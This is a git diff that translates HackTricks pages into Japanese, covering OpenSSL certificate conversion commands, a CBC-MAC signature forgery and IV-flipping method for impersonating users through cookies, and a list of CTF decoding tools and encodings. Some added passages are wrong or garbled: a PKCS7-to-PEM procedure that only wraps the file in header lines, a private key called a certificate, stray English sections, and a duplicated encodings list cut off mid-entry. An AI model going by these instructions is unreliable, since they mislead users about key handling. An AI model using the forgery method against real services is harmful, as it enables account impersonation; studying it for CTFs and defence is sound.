+#### **PEMをDERに変換する** -#### **Convert PEM to DER** +To convert a PEM certificate to DER format, you can use the OpenSSL command-line tool. The following command can be used: +``` +openssl x509 -in certificate.pem -outform der -out certificate.der +``` + +Replace `certificate.pem` with the path to your PEM certificate file, and `certificate.der` with the desired output file name for the DER format. + +PEM形式の証明書をDER形式に変換するには、OpenSSLのコマンドラインツールを使用することができます。次のコマンドを使用します。 + +``` +openssl x509 -in certificate.pem -outform der -out certificate.der +``` + +`certificate.pem`をPEM証明書ファイルのパスに、`certificate.der`をDER形式の出力ファイル名に置き換えてください。 ``` openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` +**DERをPEMに変換する** -**Convert DER to PEM** +DER形式の証明書をPEM形式に変換するには、次のコマンドを使用します。 +```plaintext +openssl x509 -inform der -in certificate.der -out certificate.pem +``` + +このコマンドは、`certificate.der`という名前のDER形式の証明書を読み込み、`certificate.pem`という名前のPEM形式の証明書に変換します。 ``` openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` +**PEMをP7Bに変換する** -**Convert PEM to P7B** - -**Note:** The PKCS#7 or P7B format is stored in Base64 ASCII format and has a file extension of .p7b or .p7c. A P7B file only contains certificates and chain certificates (Intermediate CAs), not the private key. The most common platforms that support P7B files are Microsoft Windows and Java Tomcat. - +**注意:** PKCS#7またはP7B形式はBase64 ASCII形式で保存され、ファイルの拡張子は.p7bまたは.p7cです。P7Bファイルには証明書とチェーン証明書(中間CA)のみが含まれており、秘密鍵は含まれていません。P7Bファイルをサポートする最も一般的なプラットフォームはMicrosoft WindowsとJava Tomcatです。 ``` openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` +**PKCS7をPEMに変換する** -**Convert PKCS7 to PEM** +PKCS7形式の証明書をPEM形式に変換する方法は次のとおりです。 +1. PKCS7形式の証明書をテキストエディタで開きます。 +2. ファイルの先頭に`-----BEGIN PKCS7-----`という行を追加します。 +3. ファイルの末尾に`-----END PKCS7-----`という行を追加します。 +4. ファイルを保存し、拡張子を`.pem`に変更します。 + +これにより、PKCS7形式の証明書がPEM形式に変換されます。 ``` openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**pfxをPEMに変換する** -**Convert pfx to PEM** - -**Note:** The PKCS#12 or PFX format is a binary format for storing the server certificate, intermediate certificates, and the private key in one encryptable file. PFX files usually have extensions such as .pfx and .p12. PFX files are typically used on Windows machines to import and export certificates and private keys. - +**注意:** PKCS#12またはPFX形式は、サーバー証明書、中間証明書、および秘密鍵を1つの暗号化可能なファイルに格納するためのバイナリ形式です。PFXファイルは通常、.pfxや.p12などの拡張子を持ちます。PFXファイルは、通常、Windowsマシンで証明書と秘密鍵をインポートおよびエクスポートするために使用されます。 ``` openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` +**PFXをPKCS#8に変換する**\ +**注意:** これには2つのコマンドが必要です -**Convert PFX to PKCS#8**\ -**Note:** This requires 2 commands - -**1- Convert PFX to PEM** - +**1- PFXをPEMに変換する** ``` openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` +**2- PEMをPKCS8に変換する** -**2- Convert PEM to PKCS8** +PEM形式の証明書をPKCS8形式に変換する方法を説明します。 +1. 最初に、OpenSSLコマンドを使用してPEM形式の証明書をPKCS8形式に変換します。 + + ```plaintext + openssl pkcs8 -topk8 -inform PEM -outform DER -in private.pem -out private.pk8 -nocrypt + ``` + + このコマンドは、`private.pem`という名前のPEM形式の証明書を`private.pk8`という名前のPKCS8形式の証明書に変換します。 + +2. 変換されたPKCS8形式の証明書は、DER形式で保存されます。 + + - `-topk8`オプションは、PKCS8形式の証明書を生成するために使用されます。 + - `-inform PEM`オプションは、入力ファイルがPEM形式であることを指定します。 + - `-outform DER`オプションは、出力ファイルをDER形式で保存することを指定します。 + - `-in private.pem`オプションは、変換するPEM形式の証明書のファイルパスを指定します。 + - `-out private.pk8`オプションは、変換後のPKCS8形式の証明書の保存先のファイルパスを指定します。 + - `-nocrypt`オプションは、パスワードを使用せずに証明書を変換することを指定します。 + +3. 変換が成功すると、`private.pk8`という名前のPKCS8形式の証明書が生成されます。 + +これで、PEM形式の証明書をPKCS8形式に変換することができました。 ``` openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` +**P7BをPFXに変換する**\ +**注意:** これには2つのコマンドが必要です -**Convert P7B to PFX**\ -**Note:** This requires 2 commands - -1- **Convert P7B to CER** - +1- **P7BをCERに変換する** ``` openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` +**2- CERとプライベートキーをPFXに変換する** -**2- Convert CER and Private Key to PFX** +To convert a CER (certificate) file and a private key to a PFX (PKCS#12) file, you can use the OpenSSL tool. The PFX file format allows you to combine the certificate and private key into a single file, which is commonly used for importing certificates into various systems. +Here is the command to convert the CER and private key files to PFX: + +```plaintext +openssl pkcs12 -export -out certificate.pfx -inkey privatekey.key -in certificate.cer +``` + +Replace `privatekey.key` with the path to your private key file, and `certificate.cer` with the path to your certificate file. The resulting PFX file will be named `certificate.pfx`. + +During the conversion process, you will be prompted to set a password for the PFX file. Make sure to choose a strong password and keep it secure. + +After the conversion is complete, you can use the PFX file to import the certificate and private key into applications or systems that support the PFX format. ``` openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -209,10 +249,10 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** diff --git a/cryptography/cipher-block-chaining-cbc-mac-priv.md b/cryptography/cipher-block-chaining-cbc-mac-priv.md index 284acc826..1003b852b 100644 --- a/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -1,89 +1,84 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
# CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +もし**クッキー**が**ユーザー名**だけ(またはクッキーの最初の部分がユーザー名)であり、ユーザー名「**admin**」をなりすます場合、ユーザー名**「bdmin」**を作成し、クッキーの**最初のバイト**を**ブルートフォース**できます。 # CBC-MAC -In cryptography, a **cipher block chaining message authentication code** (**CBC-MAC**) is a technique for constructing a message authentication code from a block cipher. The message is encrypted with some block cipher algorithm in CBC mode to create a **chain of blocks such that each block depends on the proper encryption of the previous block**. This interdependence ensures that a **change** to **any** of the plaintext **bits** will cause the **final encrypted block** to **change** in a way that cannot be predicted or counteracted without knowing the key to the block cipher. +暗号学において、**Cipher Block Chaining Message Authentication Code**(**CBC-MAC**)は、ブロック暗号からメッセージ認証コードを構築するための技術です。メッセージは、いくつかのブロック暗号アルゴリズムを使用してCBCモードで暗号化され、**各ブロックが前のブロックの適切な暗号化に依存するようにブロックのチェーンが作成**されます。この相互依存性により、平文の**任意のビットの変更が、鍵を知らない限り予測または打ち消すことができない方法で最終的な暗号化ブロックを変更**させます。 -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +メッセージmのCBC-MACを計算するには、ゼロの初期化ベクトルでmをCBCモードで暗号化し、最後のブロックを保持します。次の図は、秘密鍵kとブロック暗号Eを使用してブロック![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5)からなるメッセージのCBC-MACの計算をスケッチしたものです。 ![CBC-MAC structure (en).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png) -# Vulnerability +# 脆弱性 -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +CBC-MACでは通常、使用される**IVは0**です。\ +これは、2つの既知のメッセージ(`m1`と`m2`)が独立して2つの署名(`s1`と`s2`)を生成することを意味します。したがって: * `E(m1 XOR 0) = s1` * `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +その後、m1とm2を連結したメッセージ(m3)は2つの署名(s31とs32)を生成します: * `E(m1 XOR 0) = s31 = s1` * `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**これは、暗号化の鍵を知らなくても計算可能です。** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +名前**Administrator**を**8バイト**のブロックで暗号化していると想像してください: * `Administ` * `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +**Administ**(m1)というユーザー名を作成し、署名(s1)を取得できます。\ +次に、**rator\00\00\00 XOR s1 XOR 0**の結果となるユーザー名を作成できます。これにより、`E(m2 XOR s1 XOR 0)`が生成され、それはs32です。\ +これで、s32をフルネーム**Administrator**の署名として使用できます。 -### Summary +### 要約 -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. ユーザー名**Administ**(m1)の署名であるs1を取得します。 +2. ユーザー名**rator\x00\x00\x00 XOR s1 XOR 0**の署名であるs32を取得します。 +3. クッキーをs32に設定し、ユーザー**Administrator**の有効なクッキーになります。 -# Attack Controlling IV +# 攻撃時のIVの制御 -If you can control the used IV the attack could be very easy.\ -If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.\ -Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0] XOR "A" == IV'\[0] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**. +使用されるIVを制御できる場合、攻撃は非常に簡単になります。\ +クッキーが単に暗号化されたユーザー名である場合、ユーザー**administrator**をなりすますためにユーザー**Administrator**を作成し、そのクッキーを取得できます。\ +さて、IVを制御できる場合、IVの最初のバイトを変更して**IV\[0] XOR "A" == IV'\[0] XOR "a"**とすることができ、ユーザー**Administrator**のクッキーを再生成できます。このクッキーは、初期の**IV**で**ユーザーadministrator**を**なりすます**ために有効です。 -# References +# 参考文献 -More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC) +詳細は[https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)を参照してください。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +- **[💬](https://emojipedia.org/speech-balloon/)ディスコードグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。
- - diff --git a/cryptography/crypto-ctfs-tricks.md b/cryptography/crypto-ctfs-tricks.md index c3b3efa93..6c5eb7e82 100644 --- a/cryptography/crypto-ctfs-tricks.md +++ b/cryptography/crypto-ctfs-tricks.md @@ -1,24 +1,24 @@ -# Crypto CTFs Tricks +# Crypto CTFsのトリック
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Online Hashes DBs +## オンラインハッシュDB -* _**Google it**_ +* _**Googleで検索**_ * [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) * [https://crackstation.net/](https://crackstation.net) @@ -30,124 +30,158 @@ * [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) -## Magic Autosolvers +## マジックオートソルバー * [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey) -* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Magic module) +* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (マジックモジュール) * [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) * [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking) -## Encoders +## エンコーダ -Most of encoded data can be decoded with these 2 ressources: +ほとんどのエンコードされたデータは、次の2つのリソースでデコードできます: * [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) * [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) -### Substitution Autosolvers +### 代替オートソルバー * [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram) -* [https://quipqiup.com/](https://quipqiup.com) - Very good ! +* [https://quipqiup.com/](https://quipqiup.com) - 非常に優れています! -#### Caesar - ROTx Autosolvers +#### シーザー - ROTxオートソルバー * [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript) -#### Atbash Cipher +#### アトバッシュ暗号 * [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php) -### Base Encodings Autosolver +### ベースエンコーディングオートソルバー -Check all these bases with: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext) +これらのベースはすべて、[https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)でチェックできます。 * **Ascii85** - * `BQ%]q@psCd@rH0l` +* `BQ%]q@psCd@rH0l` * **Base26** \[_A-Z_] - * `BQEKGAHRJKHQMVZGKUXNT` +* `BQEKGAHRJKHQMVZGKUXNT` * **Base32** \[_A-Z2-7=_] - * `NBXWYYLDMFZGCY3PNRQQ====` +* `NBXWYYLDMFZGCY3PNRQQ====` * **Zbase32** \[_ybndrfg8ejkmcpqxot1uwisza345h769_] - * `pbzsaamdcf3gna5xptoo====` +* `pbzsaamdcf3gna5xptoo====` * **Base32 Geohash** \[_0-9b-hjkmnp-z_] - * `e1rqssc3d5t62svgejhh====` +* `e1rqssc3d5t62svgejhh====` * **Base32 Crockford** \[_0-9A-HJKMNP-TV-Z_] - * `D1QPRRB3C5S62RVFDHGG====` +* `D1QPRRB3C5S62RVFDHGG====` * **Base32 Extended Hexadecimal** \[_0-9A-V_] - * `D1NMOOB3C5P62ORFDHGG====` +* `D1NMOOB3C5P62ORFDHGG====` * **Base45** \[_0-9A-Z $%\*+-./:_] - * `59DPVDGPCVKEUPCPVD` +* `59DPVDGPCVKEUPCPVD` * **Base58 (bitcoin)** \[_1-9A-HJ-NP-Za-km-z_] - * `2yJiRg5BF9gmsU6AC` +* `2yJiRg5BF9gmsU6AC` * **Base58 (flickr)** \[_1-9a-km-zA-HJ-NP-Z_] - * `2YiHqF5bf9FLSt6ac` +* `2YiHqF5bf9FLSt6ac` * **Base58 (ripple)** \[_rpshnaf39wBUDNEGHJKLM4PQ-T7V-Z2b-eCg65jkm8oFqi1tuvAxyz_] - * `pyJ5RgnBE9gm17awU` +* `pyJ5RgnBE9gm17awU` * **Base62** \[_0-9A-Za-z_] - * `g2AextRZpBKRBzQ9` +* `g2AextRZpBKRBzQ9` * **Base64** \[_A-Za-z0-9+/=_] - * `aG9sYWNhcmFjb2xh` +* `aG9sYWNhcmFjb2xh` * **Base67** \[_A-Za-z0-9-_.!\~\_] - * `NI9JKX0cSUdqhr!p` +* `NI9JKX0cSUdqhr!p` * **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `BQ%]q@psCd@rH0l` +* `BQ%]q@psCd@rH0l` * **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `<~BQ%]q@psCd@rH0l~>` +* `<~BQ%]q@psCd@rH0l~>` * **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - * `Xm4y`V\_|Y(V{dF>\` +* `Xm4y`V\_|Y(V{dF>\` * **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - * `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` * **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__] - * `Xm4y|V{~Y+V}dF?` +* `Xm4y|V{~Y+V}dF?` * **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - * `frDg[*jNN!7&BQM` +* `frDg[*jNN!7&BQM` * **Base100** \[] - * `👟👦👣👘👚👘👩👘👚👦👣👘` +* `👟👦👣👘👚👘👩👘👚👦👣👘` * **Base122** \[] - * `4F ˂r0Xmvc` +* `4F ˂r0Xmvc` * **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - * `MIc3KiXa+Ihz+lrXMIc3KbCC` +* `MIc3KiXa+Ihz+lrXMIc3KbCC` * **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - * `DmPsv8J7qrlKEoY7` +* `DmPsv8J7qrlKEoY7` * **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - * `kLD8iwKsigSalLJ5` +* `kLD8iwKsigSalLJ5` * **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - * `ayRiIo1gpO+uUc7g` +* `ayRiIo1gpO+uUc7g` * **ESAB46** \[] - * `3sHcL2NR8WrT7mhR` +* `3sHcL2NR8WrT7mhR` * **MEGAN45** \[] - * `kLD8igSXm2KZlwrX` +* `kLD8igSXm2KZlwrX` * **TIGO3FX** \[] - * `7AP9mIzdmltYmIP9mWXX` +* `7AP9mIzdmltYmIP9mWXX` * **TRIPO5** \[] - * `UE9vSbnBW6psVzxB` +* `UE9vSbnBW6psVzxB` * **FERON74** \[] - * `PbGkNudxCzaKBm0x` +* `PbGkNudxCzaKBm0x` * **GILA7** \[] - * `D+nkv8C1qIKMErY1` +* `D+nkv8C1qIKMErY1` * **Citrix CTX1** \[] - * `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` [http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] +* **Base85 (IPv6またはRFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] +* `Xm4y`V\_|Y(V{dF>\` +* **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] +* `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +* **Base85 (XML)** \[_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\__] +* `Xm4y|V{~Y+V}dF?` +* **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] +* `frDg[*jNN!7&BQM` +* **Base100** \[] +* `👟👦👣👘👚👘👩👘👚👦👣👘` +* **Base122** \[] +* `4F ˂r0Xmvc` +* **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] +* `MIc3KiXa+Ihz+lrXMIc3KbCC` +* **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] +* `DmPsv8J7qrlKEoY7` +* **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] +* `kLD8iwKsigSalLJ5` +* **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] +* `ayRiIo1gpO+uUc7g` +* **ESAB46** \[] +* `3sHcL2NR8WrT7mhR` +* **MEGAN45** \[] +* 